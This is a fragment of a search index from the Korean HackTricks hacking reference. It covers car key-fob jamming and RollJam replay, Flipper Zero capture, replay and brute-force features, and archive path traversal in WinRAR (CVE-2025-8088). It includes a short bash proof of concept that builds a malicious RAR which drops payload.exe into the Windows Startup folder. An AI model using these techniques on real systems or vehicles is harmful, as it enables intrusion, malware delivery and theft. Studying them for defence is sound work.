깜박이지 않았다는 사실을 들을 수 있습니다.","breadcrumbs":"Radio Hacking » Sub-GHz RF » Full Link Jamming Attack","id":"10359","title":"Full Link Jamming Attack"},"1036":{"body":"많은 아카이브 형식(ZIP, RAR, TAR, 7-ZIP 등)은 각 항목이 자체 내부 경로 를 가질 수 있도록 허용합니다. 추출 유틸리티가 그 경로를 맹목적으로 존중할 경우, .. 또는 절대 경로 (예: C:\\\\Windows\\\\System32\\\\)를 포함한 조작된 파일 이름이 사용자가 선택한 디렉토리 외부에 기록됩니다. 이 유형의 취약점은 Zip-Slip 또는 아카이브 추출 경로 탐색 으로 널리 알려져 있습니다. 결과는 임의의 파일을 덮어쓰는 것부터 Windows 시작 폴더와 같은 자동 실행 위치에 페이로드를 배치하여 **원격 코드 실행(RCE)**를 직접 달성하는 것까지 다양합니다.","breadcrumbs":"Archive Extraction Path Traversal » 개요","id":"1036","title":"개요"},"10360":{"body":"이것은 더 은밀한 방해 기술 입니다. 공격자는 신호를 방해하여 피해자가 문을 잠그려고 할 때 작동하지 않게 하지만, 공격자는 이 코드를 기록 합니다. 그런 다음 피해자는 버튼을 눌러 차를 다시 잠그려고 시도 하고 차량은 이 두 번째 코드를 기록 합니다. 즉시 후에 공격자는 첫 번째 코드를 전송 하고 차량이 잠깁니다 (피해자는 두 번째 눌림이 잠겼다고 생각할 것입니다). 그런 다음 공격자는 두 번째 도난 코드를 전송하여 차량을 열 수 있습니다 (가정하기에 \\"차 닫기\\" 코드도 열기 위해 사용할 수 있습니다 ). 주파수 변경이 필요할 수 있습니다 (차량이 열고 닫기 위해 동일한 코드를 사용하지만 서로 다른 주파수에서 두 명령을 듣는 차량이 있을 수 있습니다). 공격자는 차량 수신기를 방해하고 자신의 수신기는 방해하지 않을 수 있습니다 . 예를 들어 차량 수신기가 1MHz 대역폭을 듣고 있다면, 공격자는 원격 제어에서 사용되는 정확한 주파수를 방해하지 않고 그 스펙트럼에서 가까운 주파수를 방해 하면서 공격자의 수신기는 더 작은 범위에서 원격 신호를 방해 신호 없이 들을 수 있습니다 . warning 사양에서 본 다른 구현은 롤링 코드가 전송된 총 코드의 일부 임을 보여줍니다. 즉, 전송된 코드는 24비트 키 이며, 처음 12비트는 롤링 코드 , 다음 8비트는 명령 (잠금 또는 잠금 해제와 같은)이고 마지막 4비트는 체크섬 입니다. 이러한 유형을 구현하는 차량은 공격자가 롤링 코드 세그먼트를 교체하기만 하면 두 주파수에서 모든 롤링 코드를 사용할 수 있도록 자연스럽게 취약합니다. caution 피해자가 공격자가 첫 번째 코드를 전송하는 동안 세 번째 코드를 전송하면 첫 번째 및 두 번째 코드는 무효화됩니다.","breadcrumbs":"Radio Hacking » Sub-GHz RF » Code Grabbing Attack ( aka ‘RollJam’ )","id":"10360","title":"Code Grabbing Attack ( aka ‘RollJam’ )"},"10361":{"body":"차량에 설치된 애프터마켓 롤링 코드 시스템에 대한 테스트에서, 같은 코드를 두 번 전송 하면 즉시 알람 과 이모빌라이저 가 활성화되어 독특한 서비스 거부 기회를 제공합니다. 아이러니하게도 알람 과 **이모빌라이저를 비활성화하는 방법은 원격 제어를 눌러야 하며 , 이는 공격자가 지속적으로 DoS 공격을 수행할 수 있는 능력을 제공합니다 . 또는 피해자가 가능한 한 빨리 공격을 중지하고 싶어하므로 이 공격을 이전 공격과 혼합하여 더 많은 코드를 얻을 수 있습니다 .","breadcrumbs":"Radio Hacking » Sub-GHz RF » Alarm Sounding Jamming Attack","id":"10361","title":"Alarm Sounding Jamming Attack"},"10362":{"body":"https://www.americanradioarchives.com/what-radio-frequency-does-car-key-fobs-run-on/ https://www.andrewmohawk.com/2016/02/05/bypassing-rolling-code-systems/ https://samy.pl/defcon2015/ https://hackaday.io/project/164566-how-to-hack-a-car/details tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Sub-GHz RF » References","id":"10362","title":"References"},"10363":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » iButton » iButton","id":"10363","title":"iButton"},"10364":{"body":"iButton은 동전 모양의 금속 용기 에 포장된 전자 식별 키의 일반적인 이름입니다. Dallas Touch Memory 또는 접촉 메모리라고도 불립니다. 종종 “자기” 키로 잘못 언급되지만, 그 안에는 자기적인 것 이 전혀 없습니다. 사실, 디지털 프로토콜 로 작동하는 완전한 마이크로칩 이 내부에 숨겨져 있습니다.","breadcrumbs":"Radio Hacking » iButton » Intro","id":"10364","title":"Intro"},"10365":{"body":"보통 iButton은 키와 리더의 물리적 형태를 의미하며, 두 개의 접점이 있는 둥근 동전입니다. 이를 둘러싼 프레임에는 구멍이 있는 가장 일반적인 플라스틱 홀더부터 반지, 펜던트 등 다양한 변형이 있습니다. 키가 리더에 도달하면 접점이 접촉 하고 키가 ID를 전송 하기 위해 전원이 공급됩니다. 때때로 키가 즉시 읽히지 않는 경우가 있는데, 이는 인터콤의 접촉 PSD가 너무 크기 때문입니다. 그래서 키와 리더의 외곽 윤곽이 접촉하지 못할 수 있습니다. 그런 경우에는 리더의 벽 중 하나에 키를 눌러야 합니다.","breadcrumbs":"Radio Hacking » iButton » What is iButton?","id":"10365","title":"What is iButton?"},"10366":{"body":"Dallas 키는 1-wire 프로토콜을 사용하여 데이터를 교환합니다. 데이터 전송을 위한 접점이 하나만 있으며 (!!) 양방향으로, 마스터에서 슬레이브로, 그리고 그 반대 방향으로 작동합니다. 1-wire 프로토콜은 마스터-슬레이브 모델에 따라 작동합니다. 이 토폴로지에서 마스터는 항상 통신을 시작하고 슬레이브는 그 지침을 따릅니다. 키(슬레이브)가 인터콤(마스터)과 접촉하면, 키 내부의 칩이 켜지고 인터콤에 의해 전원이 공급되어 키가 초기화됩니다. 그 후 인터콤이 키 ID를 요청합니다. 다음으로 이 과정을 좀 더 자세히 살펴보겠습니다. Flipper는 마스터 및 슬레이브 모드 모두에서 작동할 수 있습니다. 키 읽기 모드에서 Flipper는 리더로 작동하며, 즉 마스터로 작동합니다. 그리고 키 에뮬레이션 모드에서는 Flipper가 키인 척하며 슬레이브 모드에 있습니다.","breadcrumbs":"Radio Hacking » iButton » 1-Wire protocol","id":"10366","title":"1-Wire protocol"},"10367":{"body":"이 키들이 어떻게 작동하는지에 대한 정보는 https://blog.flipperzero.one/taming-ibutton/ 페이지를 확인하세요.","breadcrumbs":"Radio Hacking » iButton » Dallas, Cyfral & Metakom keys","id":"10367","title":"Dallas, Cyfral & Metakom keys"},"10368":{"body":"iButtons는 Flipper Zero로 공격할 수 있습니다: FZ - iButton","breadcrumbs":"Radio Hacking » iButton » Attacks","id":"10368","title":"Attacks"},"10369":{"body":"https://blog.flipperzero.one/taming-ibutton/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » iButton » References","id":"10369","title":"References"},"1037":{"body":"공격자가 하나 이상의 파일 헤더에 다음을 포함하는 아카이브를 생성합니다: 상대 탐색 시퀀스 (..\\\\..\\\\..\\\\Users\\\\\\\\victim\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\Startup\\\\\\\\payload.exe) 절대 경로 (C:\\\\\\\\ProgramData\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\payload.exe) 피해자가 내장된 경로를 신뢰하고 이를 정리하거나 선택한 디렉토리 아래로 강제 추출하지 않는 취약한 도구로 아카이브를 추출합니다. 파일이 공격자가 제어하는 위치에 기록되고 시스템이나 사용자가 해당 경로를 트리거할 때 다음에 실행/로드됩니다.","breadcrumbs":"Archive Extraction Path Traversal » 근본 원인","id":"1037","title":"근본 원인"},"10370":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. With Flipper Zero you can: 라디오 주파수 듣기/캡처/재생: Sub-GHz NFC 카드 읽기/캡처/에뮬레이트: NFC 125kHz 태그 읽기/캡처/에뮬레이트: 125kHz RFID 적외선 신호 읽기/캡처/전송: Infrared iButtons 읽기/캡처/에뮬레이트: iButton Bad USB로 사용 보안 키(U2F)로 사용 Snake 게임하기 기타 Flipper Zero 리소스는 https://github.com/djsime1/awesome-flipperzer tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » Flipper Zero","id":"10370","title":"Flipper Zero"},"10371":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » FZ - NFC","id":"10371","title":"FZ - NFC"},"10372":{"body":"RFID 및 NFC에 대한 정보는 다음 페이지를 확인하세요: Pentesting RFID","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » Intro","id":"10372","title":"Intro"},"10373":{"body":"caution NFC 카드를 제외하고 Flipper Zero는 여러 Mifare Classic 및 Ultralight와 NTAG 와 같은 다른 유형의 고주파 카드 를 지원합니다. 새로운 유형의 NFC 카드가 지원 카드 목록에 추가될 것입니다. Flipper Zero는 다음 NFC 카드 유형 A (ISO 14443A)를 지원합니다: 은행 카드 (EMV) — UID, SAK 및 ATQA만 읽고 저장하지 않습니다. 알 수 없는 카드 — UID를 읽고 에뮬레이트합니다. NFC 카드 유형 B, 유형 F 및 유형 V 의 경우, Flipper Zero는 UID를 읽을 수 있지만 저장하지 않습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » 지원되는 NFC 카드","id":"10373","title":"지원되는 NFC 카드"},"10374":{"body":"은행 카드 (EMV) Flipper Zero는 은행 카드에서 UID, SAK, ATQA 및 저장된 데이터를 저장하지 않고 읽을 수 있습니다. 은행 카드 읽기 화면 은행 카드의 경우 Flipper Zero는 데이터를 저장하지 않고 에뮬레이트하지 않고 읽을 수 있습니다. 알 수 없는 카드 Flipper Zero가 NFC 카드의 유형을 결정할 수 없을 때 , UID, SAK 및 ATQA 만 읽고 저장할 수 있습니다 . 알 수 없는 카드 읽기 화면 Flipper Zero는 알 수 없는 NFC 카드에서 UID만 에뮬레이트할 수 있습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » NFC 카드 유형 A","id":"10374","title":"NFC 카드 유형 A"},"10375":{"body":"NFC 카드 유형 B, F 및 V 의 경우, Flipper Zero는 UID를 읽고 표시할 수 있지만 저장하지 않습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » NFC 카드 유형 B, F 및 V","id":"10375","title":"NFC 카드 유형 B, F 및 V"},"10376":{"body":"NFC에 대한 소개는 이 페이지를 읽어보세요 .","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » 작업","id":"10376","title":"작업"},"10377":{"body":"Flipper Zero는 NFC 카드를 읽을 수 있지만 , ISO 14443를 기반으로 한 모든 프로토콜을 이해하지는 못합니다 . 그러나 UID는 저수준 속성 이기 때문에 UID가 이미 읽혔지만 고수준 데이터 전송 프로토콜은 여전히 ​​알 수 없는 상황에 처할 수 있습니다 . Flipper를 사용하여 UID를 읽고 에뮬레이트하며 수동으로 입력할 수 있습니다. UID 읽기 VS 내부 데이터 읽기 Flipper에서 13.56 MHz 태그 읽기는 두 부분으로 나눌 수 있습니다: 저수준 읽기 — UID, SAK 및 ATQA만 읽습니다. Flipper는 카드에서 읽은 이 데이터를 기반으로 고수준 프로토콜을 추측하려고 합니다. 이는 특정 요인을 기반으로 한 추정일 뿐이므로 100% 확신할 수는 없습니다. 고수준 읽기 — 특정 고수준 프로토콜을 사용하여 카드의 메모리에서 데이터를 읽습니다. 이는 Mifare Ultralight의 데이터를 읽거나 Mifare Classic의 섹터를 읽거나 PayPass/Apple Pay의 카드 속성을 읽는 것입니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » 읽기","id":"10377","title":"읽기"},"10378":{"body":"Flipper Zero가 저수준 데이터에서 카드 유형을 찾을 수 없는 경우, Extra Actions에서 Read Specific Card Type을 선택하고 수동으로 읽고자 하는 카드 유형을 지정할 수 있습니다 . EMV 은행 카드 (PayPass, payWave, Apple Pay, Google Pay) UID를 단순히 읽는 것 외에도 은행 카드에서 더 많은 데이터를 추출할 수 있습니다. 전체 카드 번호 (카드 앞면의 16자리), 유효 기간 , 그리고 경우에 따라 소유자의 이름 과 가장 최근 거래 목록 을 얻을 수 있습니다 . 그러나 이렇게 해서 CVV를 읽을 수는 없습니다 (카드 뒷면의 3자리). 또한 은행 카드는 재전송 공격으로부터 보호됩니다 , 따라서 Flipper로 복사한 후 이를 에뮬레이트하여 결제하는 것은 작동하지 않습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » 특정 읽기","id":"10378","title":"특정 읽기"},"10379":{"body":"https://blog.flipperzero.one/rfid/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - NFC » 참고 문헌","id":"10379","title":"참고 문헌"},"1038":{"body":"Windows용 WinRAR(rar / unrar CLI, DLL 및 휴대용 소스 포함)는 추출 중 파일 이름을 검증하지 못했습니다. 다음과 같은 항목을 포함하는 악의적인 RAR 아카이브: text ..\\\\..\\\\..\\\\Users\\\\victim\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\payload.exe 결과적으로 선택된 출력 디렉토리 외부에 위치하게 되고 사용자의 Startup 폴더 안에 있게 됩니다. Windows는 로그온 후 그곳에 있는 모든 것을 자동으로 실행하여 지속적인 RCE를 제공합니다.","breadcrumbs":"Archive Extraction Path Traversal » 실제 사례 – WinRAR ≤ 7.12 (CVE-2025-8088)","id":"1038","title":"실제 사례 – WinRAR ≤ 7.12 (CVE-2025-8088)"},"10380":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » FZ - Sub-GHz","id":"10380","title":"FZ - Sub-GHz"},"10381":{"body":"Flipper Zero는 300-928 MHz 범위의 라디오 주파수를 수신하고 전송 할 수 있는 내장 모듈을 가지고 있으며, 원격 제어 장치를 읽고 저장하며 에뮬레이트할 수 있습니다. 이러한 제어 장치는 게이트, 장벽, 라디오 잠금 장치, 원격 제어 스위치, 무선 초인종, 스마트 조명 등과의 상호작용에 사용됩니다. Flipper Zero는 보안이 침해되었는지 여부를 학습하는 데 도움을 줄 수 있습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » Intro","id":"10381","title":"Intro"},"10382":{"body":"Flipper Zero는   CC1101 칩 을 기반으로 한 내장 서브 1 GHz 모듈과 라디오 안테나를 가지고 있으며 (최대 범위는 50미터입니다). CC1101 칩과 안테나는 300-348 MHz, 387-464 MHz 및 779-928 MHz 대역의 주파수에서 작동하도록 설계되었습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » Sub-GHz 하드웨어","id":"10382","title":"Sub-GHz 하드웨어"},"10383":{"body":"","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 작업","id":"10383","title":"작업"},"10384":{"body":"note 원격 제어가 사용하는 주파수를 찾는 방법 분석할 때 Flipper Zero는 주파수 구성에서 사용 가능한 모든 주파수에서 신호 강도(RSSI)를 스캔합니다. Flipper Zero는 -90 dBm 보다 높은 신호 강도를 가진 주파수 중 가장 높은 RSSI 값을 표시합니다. 원격 제어의 주파수를 확인하려면 다음을 수행하십시오: 원격 제어를 Flipper Zero의 왼쪽에 매우 가깝게 놓습니다. 메인 메뉴 → Sub-GHz 로 이동합니다. 주파수 분석기 를 선택한 다음 분석할 원격 제어의 버튼을 누르고 유지합니다. 화면에서 주파수 값을 검토합니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 주파수 분석기","id":"10384","title":"주파수 분석기"},"10385":{"body":"note 사용된 주파수에 대한 정보 찾기 (어떤 주파수가 사용되는지 찾는 또 다른 방법) 읽기 옵션은 지정된 변조에서 구성된 주파수를 청취 합니다: 기본값은 433.92 AM입니다. 읽기 중 무언가가 발견되면 , 정보가 화면에 표시됩니다. 이 정보는 미래에 신호를 복제하는 데 사용할 수 있습니다. 읽기 중에는 왼쪽 버튼 을 눌러 구성할 수 있습니다 . 현재 4개의 변조 (AM270, AM650, FM328 및 FM476)와 여러 관련 주파수 가 저장되어 있습니다: 관심 있는 주파수 를 설정할 수 있지만, 원격 제어가 사용하는 주파수가 확실하지 않은 경우 , 호핑을 켜기로 설정 (기본값은 꺼짐)하고 버튼을 여러 번 눌러 Flipper가 이를 캡처하고 주파수를 설정하는 데 필요한 정보를 제공합니다. caution 주파수 간 전환에는 시간이 걸리므로 전환 중에 전송된 신호가 누락될 수 있습니다. 더 나은 신호 수신을 위해 주파수 분석기에 의해 결정된 고정 주파수를 설정하십시오.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 읽기","id":"10385","title":"읽기"},"10386":{"body":"note 구성된 주파수에서 신호를 훔치고 (재생)하기 원시 읽기 옵션은 청취 주파수에서 전송된 신호를 기록 합니다. 이는 신호를 훔치고 반복 하는 데 사용할 수 있습니다. 기본적으로 원시 읽기는 AM650에서 433.92로 설정되어 있지만 , 읽기 옵션에서 관심 있는 신호가 다른 주파수/변조에 있는 경우 , 원시 읽기 옵션 내에서 왼쪽 버튼을 눌러 수정할 수 있습니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 원시 읽기","id":"10386","title":"원시 읽기"},"10387":{"body":"예를 들어 차고 문에 사용되는 프로토콜을 알고 있다면 모든 코드를 생성하고 Flipper Zero로 전송할 수 있습니다. 이는 일반적인 차고 유형을 지원하는 예입니다: https://github.com/tobiabocchi/flipperzero-bruteforce","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 무차별 대입","id":"10387","title":"무차별 대입"},"10388":{"body":"note 구성된 프로토콜 목록에서 신호 추가 지원되는 프로토콜 목록 Princeton_433 (대부분의 정적 코드 시스템과 작동) 433.92 정적 Nice Flo 12bit_433 433.92 정적 Nice Flo 24bit_433 433.92 정적 CAME 12bit_433 433.92 정적 CAME 24bit_433 433.92 정적 Linear_300 300.00 정적 CAME TWEE 433.92 정적 Gate TX_433 433.92 정적 DoorHan_315 315.00 동적 DoorHan_433 433.92 동적 LiftMaster_315 315.00 동적 LiftMaster_390 390.00 동적 Security+2.0_310 310.00 동적 Security+2.0_315 315.00 동적 Security+2.0_390 390.00 동적","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 수동 추가","id":"10388","title":"수동 추가"},"10389":{"body":"https://docs.flipperzero.one/sub-ghz/supported-vendors 에서 목록을 확인하십시오.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 지원되는 Sub-GHz 공급업체","id":"10389","title":"지원되는 Sub-GHz 공급업체"},"1039":{"body":"bash # Requires rar >= 6.x\\nmkdir -p \\"evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup\\"\\ncp payload.exe \\"evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\\"\\nrar a -ep evil.rar evil/* 옵션 사용: -ep – 파일 경로를 주어진 대로 정확하게 저장 (선행 ./를 제거하지 않음 ). 피해자에게 evil.rar를 전달하고 취약한 WinRAR 빌드로 추출하도록 지시합니다.","breadcrumbs":"Archive Extraction Path Traversal » PoC 아카이브 만들기 (Linux/Mac)","id":"1039","title":"PoC 아카이브 만들기 (Linux/Mac)"},"10390":{"body":"https://docs.flipperzero.one/sub-ghz/frequencies 에서 목록을 확인하십시오.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 지역별 지원 주파수","id":"10390","title":"지역별 지원 주파수"},"10391":{"body":"note 저장된 주파수의 dBms 가져오기","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 테스트","id":"10391","title":"테스트"},"10392":{"body":"https://docs.flipperzero.one/sub-ghz tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Sub-GHz » 참조","id":"10392","title":"참조"},"10393":{"body":"Reading time: 3 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » FZ - Infrared","id":"10393","title":"FZ - Infrared"},"10394":{"body":"Infrared가 작동하는 방식에 대한 자세한 정보는 다음을 확인하세요: Infrared","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » Intro","id":"10394","title":"Intro"},"10395":{"body":"Flipper는 디지털 IR 신호 수신기 TSOP를 사용하여 IR 리모컨의 신호를 가로챌 수 있습니다. Xiaomi와 같은 스마트폰 중 일부는 IR 포트를 가지고 있지만, 대부분은 신호를 전송만 할 수 있으며 수신할 수는 없습니다 . Flipper의 적외선 수신기는 상당히 민감합니다 . 리모컨과 TV 사이의 **어딘가에 있는 동안에도 신호를 잡을 수 있습니다 . 리모컨을 Flipper의 IR 포트에 직접 겨냥할 필요는 없습니다. 이는 누군가 TV 근처에서 채널을 변경할 때 유용하며, 당신과 Flipper는 일정 거리를 두고 있습니다. 적외선 신호의 디코딩 은 소프트웨어 측에서 이루어지므로, Flipper Zero는 모든 IR 리모컨 코드의 수신 및 전송을 지원할 수 있습니다 . 인식할 수 없는 알 수 없는 프로토콜의 경우, Flipper는 수신한 그대로의 원시 신호를 기록하고 재생 합니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » IR Signal Receiver in Flipper Zero","id":"10395","title":"IR Signal Receiver in Flipper Zero"},"10396":{"body":"","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » Actions","id":"10396","title":"Actions"},"10397":{"body":"Flipper Zero는 모든 TV, 에어컨 또는 미디어 센터를 제어하는 유니버설 리모컨 으로 사용할 수 있습니다. 이 모드에서 Flipper는 SD 카드의 사전 에 따라 모든 지원 제조업체의 모든 알려진 코드 를 무차별 대입 합니다. 레스토랑 TV를 끄기 위해 특정 리모컨을 선택할 필요는 없습니다. 유니버설 리모컨 모드에서 전원 버튼을 누르기만 하면 Flipper는 아는 모든 TV의 \\"전원 끄기\\" 명령을 순차적으로 전송 합니다: Sony, Samsung, Panasonic... 등. TV가 신호를 수신하면 반응하여 꺼집니다. 이러한 무차별 대입은 시간이 걸립니다. 사전이 클수록 완료하는 데 더 오랜 시간이 걸립니다. TV가 정확히 어떤 신호를 인식했는지 알 수 없으며, TV로부터 피드백이 없기 때문입니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » Universal Remotes","id":"10397","title":"Universal Remotes"},"10398":{"body":"Flipper Zero로 적외선 신호를 캡처 할 수 있습니다. 데이터베이스에서 신호를 찾으면 Flipper는 자동으로 이 장치가 무엇인지 알게 되며 상호작용할 수 있게 해줍니다. 찾지 못하면 Flipper는 신호를 저장 하고 재생할 수 있게 해줍니다.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » Learn New Remote","id":"10398","title":"Learn New Remote"},"10399":{"body":"https://blog.flipperzero.one/infrared/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero » FZ - Infrared » References","id":"10399","title":"References"},"104":{"body":"심층적으로 스캔하려는 모든 IP(외부 또는 내부)를 발견한 후에는 다양한 작업을 수행할 수 있다.","breadcrumbs":"Pentesting Network » 호스트 스캔","id":"104","title":"호스트 스캔"},"1040":{"body":"ESET는 CVE-2025-8088을 악용하여 맞춤형 백도어를 배포하고 랜섬웨어 작업을 촉진하는 RAR 아카이브를 첨부한 RomCom (Storm-0978/UNC2596) 스피어 피싱 캠페인을 보고했습니다.","breadcrumbs":"Archive Extraction Path Traversal » 실제 관찰된 악용 사례","id":"1040","title":"실제 관찰된 악용 사례"},"10400":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Radio Hacking » Flipper Zero 